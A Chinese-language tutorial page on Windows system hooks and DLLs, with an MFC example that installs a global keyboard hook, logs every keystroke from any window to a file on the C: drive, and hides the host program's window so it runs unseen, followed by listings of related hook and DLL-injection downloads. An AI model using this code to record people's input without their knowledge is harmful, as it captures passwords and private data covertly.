`
helpbs
  • 浏览: 1166572 次
文章分类
社区版块
存档分类
最新评论

系统钩子和DLL

 
阅读更多

钩子的本质是一段用以处理系统消息的程序,通过系统调用,将其挂入系统。钩子的种类有很多,每种钩子可以截获并处理相应的消息,每当特定的消息发出,在到达目的窗口之前,钩子程序先行截获该消息、得到对此消息的控制权。此时在钩子函数中就可以对截获的消息进行加工处理,甚至可以强制结束消息的传递。 <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />

在本程序中我们需要捕获在任意窗口上的键盘输入,这就需要采用全局钩子以便拦截整个系统的消息,而全局钩子函数必须以DLL(动态连接库)为载体进行封装,VC6中有三种形式的MFC DLL可供选择,即Regular statically linked to MFC DLL(标准静态链接MFC DLL)、Regular using the shared MFC DLL(标准动态链接MFC DLL)以及Extension MFC DLL(扩展MFC DLL)。 在本程序中为方便起见采用了标准静态连接MFC DLL。

三、键盘钩子程序示例

本示例程序用到全局钩子函数,程序分两部分:可执行程序KeyHook和动态连接库LaunchDLL。

1、首先编制MFC扩展动态连接库LaunchDLL.dll:

(1)选择MFC AppWizard(DLL)创建项目LaunchDLL;在接下来的选项中选择Regular statically linked to MFC DLL(标准静态链接MFC DLL)。

(2)在LaunchDLL.h中添加宏定义和待导出函数的声明:

#define DllExport __declspec(dllexport)

……

DllExport void WINAPI InstallLaunchEv();

……

class CLaunchDLLApp : public CWinApp

{

public:

CLaunchDLLApp();

//{{AFX_VIRTUAL(CLaunchDLLApp)

//}}AFX_VIRTUAL

//{{AFX_MSG(CLaunchDLLApp)

// NOTE - the ClassWizard will add and remove member functions here.

// DO NOT EDIT what you see in these blocks of generated code !

//}}AFX_MSG

DECLARE_MESSAGE_MAP()

};

3)在LaunchDLL.cpp中添加全局变量Hook和全局函数LauncherHook、SaveLog:

HHOOK Hook;

LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);

void SaveLog(char* c);

4)完成以上提到的这几个函数的实现部分:

……

CLaunchDLLApp theApp;

……

DllExport void WINAPI InstallLaunchEv()

{

Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,

(HOOKPROC)LauncherHook,

theApp.m_hInstance,

0);

}

在此我们实现了Windows的系统钩子的安装,首先要调用SDK中的API函数SetWindowsHookEx来安装这个钩子函数,其原型是:

HHOOK SetWindowsHookEx(int idHook,

HOOKPROC lpfn,

HINSTANCE hMod,

DWORD dwThreadId);

其中,第一个参数指定钩子的类型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我们只关心键盘操作所以设定为WH_KEYBOARD;第二个参数标识钩子函数的入口地址,当钩子钩到任何消息后便调用这个函数,即当不管系统的哪个窗口有键盘输入马上会引起LauncherHook的动作;第三个参数是钩子函数所在模块的句柄,我们可以很简单的设定其为本应用程序的实例句柄;最后一个参数是钩子相关函数的ID用以指定想让钩子去钩哪个线程,为0时则拦截整个系统的消息,在本程序中钩子需要为全局钩子,故设定为0。

……

LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)

{

LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);

if(nCode==HC_ACTION)

{

if(lParam & 0x80000000)

{

char c[1];

c[0]=wParam;

SaveLog(c);

}

}

return Result;

}

虽然调用CallNextHookEx()是可选的,但调用此函数的习惯是很值得推荐的;否则的话,其他安装了钩子的应用程序将不会接收到钩子的通知而且还有可能产生不正确的结果,所以我们应尽量调用该函数除非绝对需要阻止其他程序获取通知。

……

void SaveLog(char* c)

{

CTime tm=CTime::GetCurrentTime();

CString name;

name.Format("c://Key_%d_%d.log",tm.GetMonth(),tm.GetDay());

CFile file;

if(!file.Open(name,CFile::modeReadWrite))

{

file.Open(name,CFile::modeCreate|CFile::modeReadWrite);

}

file.SeekToEnd();

file.Write(c,1);

file.Close();

}

当有键弹起的时候就通过此函数将刚弹起的键保存到记录文件中从而实现对键盘进行监控记录的目的。

编译完成便可得到运行时所需的键盘钩子的动态连接库LaunchDLL.dll和进行静态链接时用到的LaunchDLL.lib。

2、下面开始编写调用此动态连接库的主程序,并实现最后的集成:

(1)用MFC的AppWizard(EXE)创建项目KeyHook;

(2)选择单文档,其余几步可均为确省;

(3)把LaunchDLL.h和LaunchDLL.lib复制到KeyHook工程目录中,LaunchDLL.dll复制到Debug目录下。

(4)链接DLL库,即在"Project","Settings…"的"Link"属性页内,在"Object/librarymodules:"中填入"LaunchDLL.lib"。再通过"Project","Add To Project","Files…"将LaunchDLL.h添加到工程中来,最后在视类的源文件KeyHook.cpp中加入对其的引用:

#include "LaunchDLL.h"

这样我们就可以象使用本工程内的 函数一样使用动态连接库LaunchDLL.dll中的所有导出函数了。

5)在视类中添加虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:

……

InstallLaunchEv();

……

6)到此为止其实已经完成了所有的功能,但作为一个后台监控软件,运行时并不希望有界面,可以在应用程序类CkeyHookApp的InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW);改为m_pMainWnd->ShowWindow (SW_HIDE);即可。

四、运行与检测

编译运行程序,运行起来之后并无什么现象,但通过Alt+Ctrl+Del在关闭程序对话框内可以找到我们刚编写完毕的程序"KeyHook",随便在什么程序中通过键盘输入字符,然后打开记录文件,我们会发现:通过键盘钩子,我们刚才输入的字符都被记录到记录文件中了。

小结:系统钩子具有相当强大的功能,通过这种技术可以对几乎所有的Windows系统消息进行拦截、监视、处理。这种技术广泛应用于各种自动监控系统中
分享到:
评论

相关推荐

    DLL开发与系统编程-调用键盘钩子DLL,实现监视系统的键盘操作

    调用键盘钩子DLL,实现监视系统的键盘操作

    系统钩子大全,详细演示如何实现各种系统钩子

    详细演示如何实现各种系统钩子,包括: 1.CopyHook 2.HookKey 3.MessageHook 4.MouseHook 5.不用DLL的KeyHook 6.钩子实现文件或端口读写的截取 7.鼠标键盘记录和回放

    鼠标/键盘钩子DLL及封装VCL

    鼠标,键盘钩子dll及封装vcl,全部源码.

    不用DLL实现VB全局钩子

    下为全局键盘钩子(也称系统键盘钩子)的代码,原文资料是英文的,在下也只是勉强能看懂,按照其步骤试了一下,的确可行,如果需要,我会将全文贴上来的 代码功能:实时监测Caps Lock、NumLock、Scroll Lock三个按件...

    一个钩子HOOK Dll源码,基于Delphi API技术.rar

    一个钩子HOOK Dll源码,基于Delphi API技术,在源码包中,MYAPIDLL.dpr为DLL的源码工程文件,PDemo.dpr为此DLL的应用例子源代码,本钩子可截获API。

    系统钩子编程

    VC6.0下开发的系统钩子源代码。内含syshook.dll动态库

    DLL钩子原代码.e

    DLL钩子原代码.eDLL钩子原代码.e

    windows钩子

    有关windows钩子的工程文件,包括实现全局windows钩子的dll工程和windows钩子的应用实例工程两部分,windows钩子工程同时实现了鼠标和键盘钩子,本工程可以作为windows钩子应用的框架,加以改造后就可以实现不同的...

    系统全局键盘钩子及测试源代码

    系统键盘钩子dll及测试实例源代码,记录键盘字符到本地txt文件.开发工具vs2008,欢迎交流。

    用钩子实现屏蔽鼠标键盘消息锁定鼠标键盘(已附上dll源码)

    用钩子实现屏蔽鼠标键盘消息,锁定鼠标键盘,使鼠标键盘变得无效。注意:本程序留有了后门:按F2键退出程序。

    x64键盘钩子

    适用于64位win7,win8系统,屏蔽系统热键win,win组合键,已及alt+F4组合键等。

    易语言-DLL钩子源代码

    DLL钩子原代码,代码演示了安装键盘钩子和卸载键盘钩子。

    易语言屏蔽win键钩子dll

    屏蔽win键钩子dll 系统结构:近在眼前,方圆软件, ======窗口程序集1 | | | |------ _按钮1_被单击 | | | |------ _按钮2_被单击 | | | | ======调用的Dll | | | |---[dll]------ 近在眼前 | | | |---[dll]------ 方圆...

    钩子函数的使用,有例子

    如果钩子进程处理了消息,它可能返回一个非零值去阻止系统传递该信息到其它剩下的钩子或者windows进程。所以最好在钩子进程的最后都返回CallNextHookEx的返回值。 IV:调用下一个钩子函数 调用下一个钩子函数时使用...

    vc++通过钩子技术替换exe调用的api(偷梁换柱).zip

    vc++通过钩子技术替换exe调用的api(偷梁换柱).zip visual c++ hook程序调用的dll中的api,换成咱们的dll中的api

    利用输入法注入DLL

    RegisterUserApiHook函数可以在系统中注册一个全局钩子,你需要在钩子中指定一个DLL和 一个回调函数,然后,所有加载了user32.dll的程序就都会在启动时加载你指定的这个DLL 。用这个函数来注入DLL也是很不错的。...

    VC 钩子 hook屏蔽键盘按键.rar

    VC hook基于钩子的原理屏蔽键盘任意按键,为了使用方便,生成一个标准的DLL,利用底层键盘钩子实现屏蔽键盘任意按键,作者: 卢培培 (goodname008),包括了底层键盘钩子函数、开始屏蔽键盘按键的模块、停止屏蔽键盘...

    C#调用键盘钩子锁屏

    C#调用键盘钩子锁屏,禁用快捷键! C# .NET锁屏程序(顺带屏蔽任务管理器) 第一步:将窗体的FormBorderStyle设置为...使用全局钩子应该注意的地方:将代码放到一个独立的类库里面(只有dll才能被注射到其他进程中)。

    Hook API mingw DLL WH_MOUSE

    日志记录钩子和日志回放钩子可以放在安装钩子的程序中,并不需要单独放在一个动态链接库中,因为它们是由Windows系统调用的钩子。 这里也顺便给出常用的WinGW GCC编译器的DLL开发注意事项,及共享段定义的使用方法...

    C# 系统钩子

    最近看了一个使用.net 内置类实现系统钩子(不必将此封装在c\c++ dll 中) 感觉思想很好,向大家推荐

Global site tag (gtag.js) - Google Analytics